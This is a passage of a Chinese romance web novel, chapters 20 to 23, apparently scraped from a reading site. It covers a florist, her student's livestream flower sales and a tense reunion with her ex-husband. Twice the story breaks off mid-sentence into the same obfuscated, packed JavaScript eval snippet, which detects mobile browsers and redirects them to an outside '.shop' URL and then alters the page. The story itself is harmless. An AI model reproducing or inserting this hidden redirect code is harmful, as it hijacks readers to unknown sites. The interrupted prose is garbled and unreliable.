好吧,给钱的都是祖宗,要钱的都是孙子,得顺着祖宗的心情,才能把钱要到手。 许满深谙这一道理。 将收款码换成个人二维码,梁桓宇一扫,许满通过了好友请求,下一秒便收到了转账。 “爽快!” 梁桓宇扬扬手机:“我说了,会赔钱,绝不食言。” 美滋滋的收了钱,许满继续去修剪花枝。 梁桓宇和狗一起蹲在旁边,“我从度假村里一路跑过来,许满老师你不给我倒杯水喝吗?” 许满头都不抬:“我还没问你怎么会出现在这里。” 梁桓宇抖抖狗绳,“当然是遛狗啊。” 大黄:“汪!” 许满:“?” 梁桓宇望向大黄,眼神宠溺得像在看自己的女朋友:“我家大黄在学校里憋坏了,听说流云湾度假村好玩,邀请我一起出来散散心。” 许满不信,“你说狗邀请你?” 梁桓宇信誓旦旦,“对啊,我捏了几个纸团让它选,他一下就选中写了度假村的那个。” “……” 许满合理怀疑纸团被人动了手脚。 “然后就散到我家这里来了?” “也不是。昨天就来了,今早出门遛它时,忽然想起许满老师你是这儿的人,这不走到村口一打听,问有没有一个叫许满的女博士,人家告诉我,有,可太有了,整个流云湾就出了这么一个博士,所以很容易就找到了。” 花被狗尿浇过以后,很容易被烧死,许满将那几株花铲出来,换了土,处理过后重新栽回去。 梁桓宇就坐在摊位后的小板凳上看许满忙活。 他注意到摆放在桌子上的花束和花环。 刚抽枝的袖珍绿毛球和小雏菊扎在一起,围城一个小花环,鲜嫩的绿上点缀着白色的花,看起来很清新很夏天。 “你这是让卖的?” “嗯。” “有人买吗?” “偶尔有游客带小朋友来村里转悠,看到了会买,但是收入不多,一天下来就赚个买菜钱。” “你的花坛就这么点产量,卖得多了才怪呢。” “……” 这用你说? “那点买菜钱够我爸开心一整天了。” 梁桓宇拿起一个花环,戴在自己头上,对着手机摆了几个造型,咔嚓咔嚓自拍起来。 “老师,你这些花草品种繁多,每一种都养得那么好,有些观赏价值还挺高,我有个办法能让你多卖点,你考虑不考虑?” 许满这院内院外两个小花坛,加起来还没半间教室大,种的都是时下应季的花,过了花期就都败了,顶多看它们开得艳,就这么等凋谢可惜,所以才拿出来做个花环花束随便卖一卖,当不成一件正事儿干。 再说她也不是没卖过花,考研那年冬天,她不就推着小推车四处奔走卖花吗? 每天都要花时间想搭配,做包装,还得找人多的场地售卖,一出门就是一天,现在许晋文的身体不允许她离开太长时间,许满只能在家里随便卖卖,就当给许晋文找点事情做。 “不考虑。” 许满果断拒绝。 梁桓宇自拍完,又拿起旁边的六出花花环和风铃花花环来看。 花环旁边还摆放着几个小花束,分别是洋桔梗,康乃馨,绿芯向日葵。 以及一些包装好的小玩意,分别是花茶和花种。 “老师你先别急着拒绝,我就是看这么漂亮的花没人欣赏太可惜了,所以才想出一个办法,我随便一说,老师你就当个意见随便一听不行?” 许满每当一回事,“那我就随便听听,你说的什么办法?” “当然是直播呀!我短视频账号有粉丝基础,闲下来我就开直播唱歌,一周开个两三场,顺带着卖点东西。直播带货这么火,我光唱唱歌平时就有点小进账,如果专门开一场带货直播,能卖出去好几百单呢,流量好的时候,过千也是有的。老师你想做的话只要把鲜花拍拍照,挂我橱窗里,我直播时拿上来说几句,等网友下单就行。或者你自己开个橱窗,我教你怎么弄?” 许满想了想,有点头大,“好麻烦,还得找快递,鲜花包装也比较复杂,邮过去还得教他们醒花,不想弄。” “别不想弄啊老师,这样吧,快递方面我有经验,你怕麻烦我帮你弄,我们先试试水,不做批量,一束花上一个链接,一天就上三四个,你什么都不用管,只管把花养好就行。” 听起来挺简单,不用她操心,许满想了想,觉得也不是不行,可以尝试。 她狐疑看着梁桓宇,“真这么好弄?” 梁桓宇打包票:“真这么好弄!” 许满将信将疑:“你为何如此好心?” 梁桓宇眼神真挚:“老师你看不出来吗,我在故意接近你,讨好你。” 许满:“?” 梁桓宇又笑,他一笑,露出标准的八颗牙齿:“我一开始就说了呀,老师,我想读你的研究生,当你的开山大弟子,所以当然要跟你搞好关系。” 读过研的都知道做开山大弟子的赌博成分有多大,劳累程度比牛马有过之而无不及。 跟对导师,的确会学到很多,但若是跟错了……那也没关系,反正能毕业是妥妥的。 而如果许满第一次做导师,那可能会为了感谢学生选她,送几篇含金量高的论文吧。 许满勉强信了梁桓宇的鬼话:“梁桓宇同学,不是我泼你冷水,我入职后只能做本科生讲师,还没资格带研究生,不过为了感谢你,开学后我可以帮你物色好的硕导,给你做推荐。” “嗯嗯嗯。”梁桓宇点头如捣蒜。 这样说好以后,梁桓宇牵着大黄回到度假村酒店,立刻去前台,要把开学前的住房费用蓄满。 前台一听他还要住一个月,为难道:“抱歉先生,您只能续住到第三天,后面两天无房可续。” 第一次碰到这种事,梁桓宇纳闷:“为什么?” 前台:“有一家公司提前两个月做了预定,把周末两天所有房间都包了。” 梁桓宇挑眉:“一间空房都没有?” “很抱歉先生,没有。” “他们包完了我再续呢?” “可以的,先生,您可以过了周末再续,需要我帮您续吗?” “嗯,帮我续吧。” 梁桓宇把身份证递给前台。 “哎,等等……” 度假村酒店离许满家步行要半个小时左右,村里那么多民宿,每一家都比酒店离许满家近,他为什么不去包一个月的民宿住住? “先不用帮我续了。” “好的,先生。” 梁桓宇琢磨着,又把身份证给收了回去。 傍晚,梁桓宇牵着大黄又去了许满家,对着许满就是一通抱怨输出,“你说这家公司是不是脑子有泡?哪个领导想的缺德主意?专坑牛马是吧?大夏天的来这儿团建?” “你这是连自己一起骂了?大夏天的不在城里玩,来乡下吃苦来了。” 对门刘大爷送来一篮子瓜果西红柿,许满挑了几个长得不错的,洗干净了给梁桓宇尝尝。 梁桓宇也不客气,边吃边说:“那不一样,我好歹也是园林专业的学生,来这儿是为了亲近自然,增长见识。” 许满耳朵自动过滤了梁桓宇对自己行为的美化评价,感慨道:“要不说度假村的人有脑子呢,开发了戏水项目,团建的目的是为了增加员工之间的感情,大家一起玩漂流打水枪,感情这不就建立起来了?” “算了吧,我要是知道这是哪家公司,一定提前避雷,这么热的天,38度啊,我宁愿在公司带薪加两天班,也不愿意牺牲周末顶着大太阳出来团建。” “汪汪!”大黄也表示赞同。 “对了,许满老师,酒店不让续住了,你有推荐的民宿不?我想住民宿。” “有啊,你等等。” 许满起身跑去隔壁,站对门大门口朝院子里喊了一嗓子,“刘大爷,我这儿有个朋友想住你们的民宿,你给打个折呗。” 老刘一听生意来了,笑呵呵的跑出来,“是满儿的朋友啊,那我可得便宜便宜,什么时候住啊,住多久?” 梁桓宇牵起大黄,“随时可以,要住……一个多月吧。” 生意来了老刘本来挺高兴,谁知一看见狗,表情立刻变得严肃,连连摇头,“人可以住,狗不行。” 梁桓宇:“为什么?大爷你不给我打折还不行吗?” 刘大爷:“给你打200%的折都不行,我民宿里家具都是手工定制,住一个月,我怕它给我拆了。” “嗷呜……” 大黄仿佛听懂了,啪嗒啪嗒走到许满脚边,垂头耷耳的蹭了蹭许满的小腿。 许满惊奇:“这狗还听懂人话了……不是,你给我求情也没用啊,民宿不是我开的。” 梁桓宇:“老师,大黄很喜欢你。” 许满蹲下,摸摸大黄的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464269|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“好像是。” 梁桓宇趁机:“它想住你家。” 许满震惊:“啊?” 梁桓宇垂眸:“它要是不住你家,它就无家可归了。” “……” “老师,它饿了会自己找吃的,拉了会自己找地方拉,许满老师,你人美心善,赏给它睡觉的地方呗?” 许满听懂了梁桓宇的算盘,“打住,我这人人丑心毒,拒绝道德绑架,家里没地方给它睡。” 大黄又听不懂人话了,一骨碌站起来,四条腿欢腾跳跃,转眼就钻进了许满家的院门。 梁桓宇:“你看,它绑架你,自己去你家找地方睡了。” 许满惊了,赶忙阻止:“不是……” 梁桓宇:“就这么说定了,刘大爷,多少钱,我转你。” 许满合理怀疑自己被这一人一狗给赖上了。 . 晚上,吃完饭,许满打开短视频,按照梁桓宇说的,点开了宇音不绕梁的直播间。 屏幕里,一个阳光帅气的男生怀抱吉他,以酒店大床为背景,配上舒缓的轻音乐,在跟网友们聊天。 可能是打光和滤镜的原因,梁桓宇五官看起来立体了许多,眉眼深邃,唇峰明显,下颌线清晰,打眼一瞧,跟个当红爱豆似的。 “大黄啊,它今天不在,去一个朋友那里玩了。” “不聊隐私哦,你们想听什么?我们聊其他的。” “宝宝们可以看一眼右下角的小黄车,里面上了一些新东西,有向日葵,洋桔梗,康乃馨,买束花送给朋友或者妈妈啊宝宝们。” 梁桓宇说完,一拨琴弦,径自唱了起来。 大黄听到他的声音,呜呜叫了两声,蹲在许满脚边,打了个舒筋懒骨的大哈欠,团成一团,不多久眯眼睡着了。 许满点开购物车。 傍晚迎着火红夕阳拍摄的奶油向日葵,以金色晚霞为背景,被蓝星花和洋甘菊簇拥着,束在复古色的报纸里,像文艺复兴时期,油画世界里傲娇的公主。 梁桓宇有很高的审美,色彩在他手中被运用到了极致,拍出来的照片,充满了氛围感。 许满看了会儿直播,见没有成交量,便退出了,去烧水,给许晋文泡脚。 第二天,梁桓宇搬进了刘大爷的民宿里。 第三天,梁桓宇直播间卖出了第一束花。 隔天,许满和梁桓宇一起打包,将花发了出去。 也是这一天,一列大巴车队缓缓驶入流云湾。 度假村停车场的树荫下,秘书赵靖闻望眼欲穿。 不知道第几次抬腕看时间,黑色轿车才姗姗来迟驶入视野。 车子停稳,赵靖闻小跑过去,撑开遮阳伞,打开后座车门,毕恭毕敬的对里面说:“骆总,已经按照您的吩咐,套房通风,并且重新打扫过,保证看不见一根头发。房间里也摆放了鲜花来净化空气,酒店厨房也已备好午餐。这是您的房卡,需要提前通知酒店把午餐送到您的房间吗?” 骆亦迟低头,无名指上的戒指在他指间转了几转。 “不用了,你和司机先去休息吧,车钥匙给我。” 老张将车钥匙车交给他。 下车,关门,落座。 车子一声低沉轰鸣,驶离视野。 太阳暴晒的停车场,赵靖闻和老张一起目送黑色车子驶远。 等看不见汽车影子了,赵靖闻才好奇的问老张:“张叔,骆总要去干什么你知道吗?他从来不跟我们一起团建旅游,这次怎么心血来潮,一起跟着来了?搞得我压力巨大,都不敢好好玩了。” 司机老张点了根烟,猛抽一口,悠悠吐出来。 “哎,谁知道呀,以前还好,跟个孩子一样,整天就知道玩,啥事儿也不操心。自从老骆提前退休,把小骆扶上去开始,小骆就跟换了个人似的,变得六亲不认,把杜家的蛀虫全都清走了不说,还差点把他妈杜曼玲给搞疯了。” “这些我知道啊,可是这跟老板要出来旅游有什么关系?” “什么关系?关系大了我告诉你。” 赵靖闻洗耳恭听。 老张叼着烟又是狠狠一抽,一根烟以肉眼可见的速度迅速燃到了底。 浑浊的烟圈在烈日下缓缓散开,老张的嗓音很是沙哑,听起来像在诉说一件经年陈旧的老故事。 “公司经过几年的改革动荡,现在算是步入正轨了。” “嗯。” “你也是公司老人了,小骆前妻你还记得吗?” “嗯,有点印象。” “我告诉你啊,有一次在医院,我看过她的身份证。” “然后呢?” “她啊,是流云湾这儿的人。” 21. 第 21 章 许满为了感谢梁桓宇直播唱了三个晚上的歌才帮她卖出去一束花,摆出不会亏待大黄的诚意,快递一发出去,就骑上小电驴载着梁桓宇去镇上的批发市场,给大黄买了个狗窝。 本来许满想找几条不用的旧被褥给大黄将就用的,但许晋文不舍得,拦着许满急得话都说不清楚了,许满无奈这才作罢。 回来时已经快中午。 许满将电瓶车停在门口的树荫下,摘了头盔进屋放东西,大黄摇着尾巴跑出来。 路过门口摊位,许满扫了一眼桌子,发现少了一束花,“爸,不错啊,一大早就开张了。” 许晋文像是才想起来,大声朝进屋的许满道:“你赶紧,看看,手机收到账,没?” “看到啦,回来路上就看到啦。” 放好东西,许满从冰箱里拿了拿了瓶矿泉水,出来递给梁桓宇。 梁桓宇接过水,揉着大黄的脑袋,拎起黑色塑料袋里未组装的狗窝,高兴的朝大黄炫耀:“看爸爸给你挑的窝,怎么样?一会儿就给你组装起来,不许不喜欢哦,你许阿姨杀价都快磨破嘴皮子了呢。” 大黄这儿闻闻那儿嗅嗅,验货似的,验完吐着舌头,一屁股坐在了梁桓宇脚边。 梁桓宇拧开水,靠在电瓶车上咕咚咕咚喝了两口水,目光放向不远处巷子口,一辆黑色轿车上面。 “老师,你们村有钱人多啊,宾利,在售系列里的顶级进口车,谁家的?” 许满忙着张罗午饭,又是淘米又是择菜,没在意梁桓宇说的什么,“不懂,多高级?很贵吗?我们村最有钱的好像开的是一辆宝马。” “喏,就巷子口那辆。”梁桓宇下巴指指巷子口,“刚才一进来就看见了。” 许满顺着梁桓宇所指的地方看去,果然看见一辆车。 银色立标展翼,漆黑车身如墨,外观低调大气,线条浑厚优雅,一眼看过去,给人的感觉就是奢华沉稳,与这个村子的朴实无华格格不入,不像是普通人能买得起的代步工具。 前挡风反射着刺眼的阳光,里面隐约坐着个有人,看不太清,许满不确定,觉得万一真有人在,这样盯着人家的车子看还是有点冒昧的,遂赶紧收回目光,转身招呼梁桓宇,说:“那车子一看就是游客的,我们村没这么贵的车子。” “哦,好吧,车牌确实不是你们这儿的。” 没有哪个男人能拒绝一辆名贵奢华的车,尤其这辆车看起来还像个等待爱人的绅士。 梁桓宇不仅没收回目光,还举起手机,咔咔拍了两张照片。 “哎,你干什么?你没看车里有人?” “啊?车里有人?在哪儿,我没看见。” 梁桓宇伸长了脑袋去看,许满下意识想给他指,然而目光刚投向车子,一阵风吹来,树影婆娑,斑驳光点落在车身上,车前那块蓝色车牌,就这样影影绰绰的映入了她眼睛里。 那一瞬间,许满心脏重重跳了一下,呼吸都跟着乱了节奏,差点没拿稳手里的东西。 多久了,许满没有仔细算过。 她以为她已经忘了,但那串数字重新出现在眼前的时候,她才发现自己并没有忘记,甚至记得如此清楚。 清楚到,铭心刻骨的程度。 “老师?许满老师?” 许满猛的一下回神,“啊,怎么了?” 梁桓宇不高兴道:“我才要问你怎么了,叫你都不应。” 许满扯出一个不太自然的笑,“跟你一样,没见过这么高级的车,看傻眼了呗。” 梁桓宇将信将疑。 许满往屋里走,“好啦,别看啦,快去洗菜,不然一会儿没你吃的。” 门口有穿堂风,许晋文喜欢坐在门口吃饭,不仅凉快,还能跟对门老刘搭话聊天。 午饭做好,许满在门口阴凉地支了张小方桌,给许晋文盛好饭,刘大爷正好也吃上了,坐在门前石凳上,扯开嗓子,跟许晋文开启了聊天模式。 “老许啊,我问满儿,满儿一直不说,你跟我说道说道,小梁人这么殷勤,整日跟满儿成双入对的,是不是跟满儿在处朋友啊?” 许晋文说话虽慢,但耳朵一点都不聋,听见这等闲话,赶紧帮许满澄清,“不是不是,满儿说,小梁是她的学生。” 老刘一个标点符号都不信,“学生啊,满儿多大了?我记得属兔的,也快三十了吧?小梁多大了?” 梁桓宇也端着碗出来了,搬了个板凳坐在桌子前,自然而然搭上了话:“刘大爷,我还差两个月就二十二了。” 刘大爷:“二十二啊,也不小了,都法定婚龄了。” 梁桓宇:“大爷您还知道这个啊,是啊,刘大爷,我也不小了,该结婚了。” “你跟满儿这婚事啥时候办啊,是不是也快了?” 梁桓宇笑:“刘大爷您看好我跟许满老师啊?” “你们俩,郎才女貌的,多登对,你天天搁满儿家里来,天一亮就来,天黑了还不走,不是满儿男朋友是谁?实不相瞒,我当初娶老婆也是赖在人家里不走才娶上的,哈哈哈哈……” 梁桓宇竖起大拇指:“大爷你真是火眼金睛呐!那依您高见,你觉得许满老师看上我了吗?她要是看不上我可咋整?要是看得上我,我们什么时候办婚礼合适?到时候请您做证婚人行不?” 刘大爷乐呵呵的:“好啊好啊,村里老王家娶媳妇儿就是我当的证婚人,你们城里人要是不嫌弃我这乡下人,这证婚人我也愿意当!” 对话声乘着风,一字不落的飘进不远处的宾利车里。 许满将最后一盘菜端出来,挨着梁桓宇坐下,斜眼瞪了梁桓宇一眼,嗔道:“别瞎说,我还要当老师呢,你可别害我!” 梁桓宇咬着筷子:“跟大爷说玩笑话呢,你也当真?” 嗡——,有车子发动的声响。 巷口那辆宾利缓缓探出头来,默默驱车驶向了远处。 没人注意到那扇用极慢速度摇上的车窗玻璃,自然也没人看见,车里人恋恋不舍收回的视线,以及他黯然心伤下压的唇角。 . 有了第一笔订单的鼓励,梁桓宇想趁热打铁,卖更多的花出去,提议把直播间搬到许满家里来,有花坛做背景,说不定销量会更好。 当时许满和梁桓宇正在一起给大黄搭窝。 “就把直播间搭在院子里,以我们头顶的星空和身后的这个小花坛为背景,大黄趴在它的窝里,再搞几个小彩灯,你在旁边跟我聊聊天,我就在镜头前唱歌。”梁桓宇为自己天才想法五体投地,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468333|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想想就很田园很陶渊明啊,有没有许满老师!” 许满不能认同:“销量再高能高到哪里去?我们三天才开了一单!” 梁桓宇信心满满:“万事开头难,没准以后能卖出几百上千单呢。” 许满摇头摆手:“不行不行,那样太晚了,我爸八点多就要睡了,这样会吵到他……” 没想到许晋文听到了,呵呵笑着支持他们,“没事,没事,不用管我,我老年人,睡得沉,你们年轻人,自己玩。” 梁桓宇朝许满眨了眨眼:“看吧,你爸都支持呢。” 下午,梁桓宇把直播设备搬了过来。 许满给梁桓宇打下手,搭玩狗窝,又在院子里搭起了简易的直播间。 太阳落山,燥热退却。 夜幕降临,晚风送来阵阵凉意。 吃完晚饭,梁桓宇坐在设备前开播了。 许满去门口叫许晋文,让他早点回屋休息,夜里蚊虫多,盯着一天就赚个三五块钱的摊子,实在是没必要。 许晋文偏不,说话虽慢但理直气壮,“今天的,游客多,晚上,趁凉快,大家都,出来了,这不,傍晚到现在就,赚来二,二三十块钱,明天的,酱油钱都,都赚回来了。” 许满劝说:“这钱赚不完,游客们一晚上不休息,你难道也要跟着守一晚上?” 许晋文双臂环胸不动如山,噘着嘴别过脸,双目囧囧盯向摊子,不理会许满了。 许满犟不过老头,尤其一个生病的老头,无法只能去屋里拿来薄外套和薄毯子,盖在许晋文身上,又在旁边点了盘蚊香,把门口的灯调亮,最后还应许晋文要求,把摊位上的货给补齐了。 不一会儿果然有几个游客过来了,拿起小桌上的水枪看了看,说:“明天有水上游戏,听说还有团队比赛,我们买几个水枪备用?” “好啊。”同行的游客说。 许满眼看着一单小买卖完成,手机里传来付款到账的声音,可把许晋文给乐坏了,嘴上没说,但脸上全是炫耀的微笑。 行吧,只要老头开心就好,许满也不计较了,给许晋文倒来热水送到他手上,还没走开,又来了生意。 一个低沉的男性嗓音在背后响起:“老伯,买束花。” 许满闻声,身形一顿,脚步凝滞在廊下晦暗不明的灯影里。 许晋文慢吞吞的说:“年轻人,又来照顾我,生意啊?上午买的,花送人了吗?爱人,还开心吗?” 男人回答:“花无人可送,放在了我的床头,悠悠花香,助我入眠。” “哦……”许晋文拖长声音,也不知听懂没,“那你现在,买什么啊,只剩,康乃馨了。” 男人说:“向日葵,还要向日葵。” 许晋文便朝许满的背影喊:“满儿,向日葵,客人,要向日葵。” “好,爸,你让客人稍等。”许满说。 她回院子,去梁桓宇的直播台面上拿了一束向日葵,像对待路过的任何一个游客一样,用再正常不过的姿态,交给等在摊位前的男人。 男人修长手指接过花束,无名指上的戒指映照着廊下灯光,银色金属质地微微一闪。 再抬眼,许满听见男人压抑发紧而略带颤抖的嗓音:“许满,好久不见。” 22. 第 22 章 中午的时候,骆亦迟驱车回了酒店,开完一个视频会议出来散步,不知不觉就散到了这里。 早在从连城出发以前,他就告诫自己,他只是来看看,只是看看,看看许满过得好不好,看过就好,不要打扰她,一定不要打扰她。 可是,思念和渴望由不得他。 当他坐在车里,闻着她亲手种下的向日葵花香,看她载着一个陌生男人从面前一闪而过,那一刻,心底里泛起的苦只有他自己品尝得到。 他的眼神太好,以至于他清楚看见,摘下头盔的许满笑得灿烂,松松扎着的及腰低马尾迎着风,在空中随风摆动,与曳地的亚麻色长裙扬起同样的弧度。 骆亦迟已经太久没见到过她这样的笑容,久到他已经记不清,上次许满这样神采奕奕的样子究竟是什么时候了。 他只能回忆起摆放在办公桌上的那张婚纱照片,但那也只是在摄影师指导下,摆出来的不太自然的微笑而已。 透过车窗玻璃,骆亦迟偷偷观察着许满。 许满瘦了。 她本就瘦,现在更瘦了。 锁骨深深凹陷,光影在薄衣下若隐若现,盈盈一握饿的纤细腰肢束在长裙里,那个男人双手拖在她的腰上,直到许满把车挺稳,才将双手从她腰间拿下来。 骆亦迟觉得这一幕有些刺痛眼睛,但还是贪恋的,舍不得移开半寸目光。 他看着许满进了那间院子,又从那间院子出来。 看到许满朝他这里看过来。 他不敢靠近,不敢出现,想让许满发现他,却又怕许满发现他。 矛盾的心情左右摇摆,他就安静的坐在车里,像一个阴暗没有胆量的偷窥者,只能躲在暗处偷偷观察许满的生活。 直到听到对面老伯询问那个陌生男人和许满结婚的消息,骆亦迟苦苦坚守的防线终于有所松动。 他不敢听,更不敢想。 他怕那一切是真的。 可是哪怕不听不想,许满的影子依旧无时无刻不出现在他的脑海。 他想她,想得发疯。 不见还好,见了更甚。 现在,他站在许满面前,手里举着花,静静等待面前的女人开口。 许满微微一笑,她不问骆亦迟为什么会出现在这里,只客气疏离的说:“好久不见,骆亦迟,谢谢你照顾我家生意。” 头顶廊灯下,飞蛾在扑朔飞舞,扑棱扑棱的,像骆亦迟此刻的心跳,没有章法,没有规律。 他并不知道该说些什么,这冲动之下冒昧的接近,他还没做好万全的准备。 “不邀请我进去坐坐吗?”他绞尽脑汁,只想到这个再寻常不过的借口。 许满望了一眼院里,梁桓宇在直播。 “太晚了,不合适。” “哦。”骆亦迟低下头,看起来有些失望。 两人之间气氛微妙,许晋文见眼前这个男人像是许满的旧识,站起来热情的发出邀请:“满儿朋友吧?来,来来,去家里,坐。” 并埋怨许满:“人一天,来两回了,原来,是找你的,还不快,请人,进去。” 骆亦迟站在那里不动,没有走的意思,大概是真想让许满请他进去。 许满一直不发话。 最后许晋文上来,推着骆亦迟的背,把他推进了院子里。 突然进来个陌生人,大黄最先发起警觉,四腿一蹬猛的站起,朝陌生人狂吠。 叫声引起梁桓宇的注意,梁桓宇赶忙离开直播镜头,牵住大黄厉声喝止,“喂,大黄,坐下!” 大黄嗷呜一声,围着梁桓宇转了两圈,不情不愿卧下了。 院子里灯火通明,萤火虫一样的昏黄灯带铺在怒放的鲜花上面,光点与花交相辉映,或明或暗,浪漫梦幻,骆亦迟走进来,像误闯进了精心布置的告白现场。 他有些无措,试探着询问:“这是……?” 同时开口的还有梁桓宇:“不好意思啊,狗儿子认生,许满老师,这是哪位邻居?我没见过呢还,看起来挺气度不凡的。” 许满介绍:“他叫骆亦迟,是那辆宾利车的主人。” 说完,又补了一句:“我前夫。” 梁桓宇抚摸狗毛的动作一顿,差点惊掉下巴:“啊?” 一旁的许晋文也听得清楚,望向骆亦迟的目光,瞬间从友善变成不悦,目露凶光! “满儿?你说什么?他是你的,前夫?我那,没登过门的,前女婿?!” 许晋文“前女婿”三个字掷地有声,完全不像一个病人了。 许满微一颔首,“是的,爸。” 许晋文长脸蓦地一拉,提起手中拐杖就是蛮力一杵,杵向骆亦迟锃光瓦亮的皮鞋面,声色愠怒的驱赶:“出去!出去!结婚时不出现,现在来,是有何居心?出去!出去!” “爸?爸!别生气,爸!” 人到晚年最忌动怒,许满赶紧劝去,夺走他手中的拐杖,一边顺着他的背,一边耐心哄他:“他来肯定就做好了挨打挨骂的准备,你要是跟他生气了,不就满足他了?爸,身体要紧,身体要紧,犯不着为人渣动怒。” 看不见骆亦迟的表情,但许满摆手让骆亦迟赶紧走。 在安抚声中,许晋文的怒气慢慢冷却下来,许满见机把他拉进屋里,打开电视,随便找了个戏曲节目,让他在那儿看着。 许晋文喜欢看戏,边看边嘟囔,嘟囔着嘟囔着,就忘了刚才生气那回事儿,在咿咿呀呀声中打起了瞌睡。 许满再出来时,骆亦迟还没走。 他垂首站在原地,眉压眼,薄唇抿成一条直线,挺拔的身姿微驼,肩膀泄了力似的萎靡向下耷着。 花坛里昏黄小灯闪烁,映照在他瘦削的脸庞上,一半是热闹,一半是孤寂。 许满觉得骆亦迟好像跟以前不一样了,但不一样在哪里,她看不清。 不过也没必要看清,这只是一次很偶然的重逢,很快,骆亦迟就会离开,他们之间是平行线,不会再有交集。 “既然不走,那就坐下来听会儿歌吧。” 许满拿了个板凳,让骆亦迟坐下,然后自己坐在旁边,点开了宇音不绕梁的直播间。 梁桓宇早就回到屏幕前重新开始直播,刚才突发小插曲,网友们都在刷屏询问原因。 他自己都没搞清楚状况,也对这个八卦好奇着呢,但直播当前,此时不是探究的时候,便胡乱跟网友解释:“有客人来访,大黄大惊小怪而已,没啥事儿,倒是你们,不欣赏欣赏我花心思为你们打造的全新直播间?” 网友们仿佛这才注意到新的直播环境,大呼惊喜,纷纷质问梁桓宇,最近几场直播场地频繁变换,尤其今天还特意打造了这么浪漫的场地,是不是在酝酿什么大动作? 梁桓宇:“我能有什么大动作,还不全是为了讨你们欢心?” 【到底是讨我们欢心,还是讨刚才匆匆入境的小姐姐欢心?】 【小姐姐一闪而过,只看到个侧面,瘦瘦的好薄一片,看起来是很有书卷气息的人】 【光看侧面就知道是个慵懒系气质美人儿】 梁桓宇朝许满看过来:“她啊,现在看是挺美的。” 【我截屏了,想看的私】 【只有我想求姐姐的长裙链接吗】 【你们没人注意我消失的大黄吗?它终于又出现了呜呜呜】 【小姐姐一出现,大黄就出现了,快说,大黄这几天是不是在跟小姐姐 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梁桓宇每场直播唱的歌,总有那么几首是重复的,但今天这首许满没听过。 温暖治愈的歌声响起,许满听那调子轻快活泼,有让人宁静下来的力量,不知不觉听完了一曲。 音乐一收,屋内电视播放的戏曲声音就显了出来,许满想起许晋文,起身进屋去看看他怎样了。 许晋文果然睡着了。 许满关了电视,扶他去卧室睡下,又想起门外的摊子,准备去把摊子收回来。 一出来,发现原本坐在凳子上的骆亦迟不见了。 大门敞着,不知道人什么时候走的。 走了也好,许满挪开凳子,去到门口,收拾那一桌子小玩意儿。 正弯腰收拾着,忽然,背后有人叫了她一声。 “许满。” 许满应声回头,猝不及防的,手被一只宽厚大手握住,腰间跟着缠上来一条野蛮有力的臂膀,还来不及反应,就被人用不容抗拒的力量抵着,几步抵到墙边,后背重重砸在了墙上。 看清来人,许满没有惊叫,反而理智的镇定了下来。 距离骤然拉近,四目相对,来人不知道什么原因黑着脸。 狂乱的心跳声和不平静的喘_息声交织在一起,一呼一吸之间,冲击着许满坚不可摧的心房。 她任由来人将她手腕紧扣,冷静与他对峙。 然后,眸光淡然:“骆先生,请自重。” 骆亦迟定定望向她,嗓音低哑:“告诉我,里面那个唱歌的小男生和你是什么关系?是你的追求者?还是未婚夫?” 树叶沙沙,夏虫鸣唱,院子上空飘来深情似告白的歌声。 “你应该会明白我的爱, 虽然我从未向你坦白, 多年以来, 默默对你深切的关怀, 为什么你还不能明白……” 许满望进骆亦迟黑沉的眼底,从容问他:“这跟你有什么关系呢?” 她又避开目光,善意提醒:“骆亦迟,你忘了?我们已经离婚了,早在六年前。现在的我和你,没有任何关系。” 骆亦迟一怔,手上的力道不由松了几分。 许满趁机将手抽走,轻轻一推,推出个空隙,闪身,从密不透风的禁锢中退了出来。 有寒芒在余光中闪过。 是骆亦迟落寞垂下来的手,无名指上戒指擦过身边,闪烁出的冷冽碎芒。 许满大步不停,快速将东西收好,关门,进了院子。 23. 第 23 章 梁桓宇第二天上午才把这个瓜吃明白。 “以我男人的视角来看,前夫哥接近你绝对有目的!” 许满在给鲜花包快递,昨晚直播效果出乎意料的好,上了四个链接,全被拍了,闻言求教道:“那依你高见,他有什么目的?” 梁桓宇大胆猜测:“会不会是想和你复合?” 许满首先排除了这个最不可能的可能。 “村里人不是说过了,来团建旅游的正式骆氏集团,所以他来应该就只是路过买花,偶然碰见了我吧。婚姻存续期间他就不爱我,现在自然也没有理由特意来找我,而且我们都离了六年了,哪怕丧偶,也早该忘干净了,还复合?就不怕我已经再婚,六年抱四个了?” 骆亦迟戴着婚戒,婚戒那样宣誓主权的物件,能让他一直戴着,一定有很珍惜的原因在里面。 看来她做不到的,有人做到了。 是池柠吗? 许满心想。 梁桓宇还沉浸在八卦中:“前夫哥开那么名贵的车,起步至少是个总吧,我搜搜看网上有没有他的资料,对了,前夫哥叫什么名字来着?你再说一遍,我忘了。” 许满打包好了一束花,放到旁边。 “骆亦迟。骆驼的骆,亦真亦假的亦,迟到的迟。” 梁桓宇打开浏览器,啪啪几下输入这个名字。 结果出来,梁桓宇定睛一看,震惊了,“哦豁,还真是个人物!” 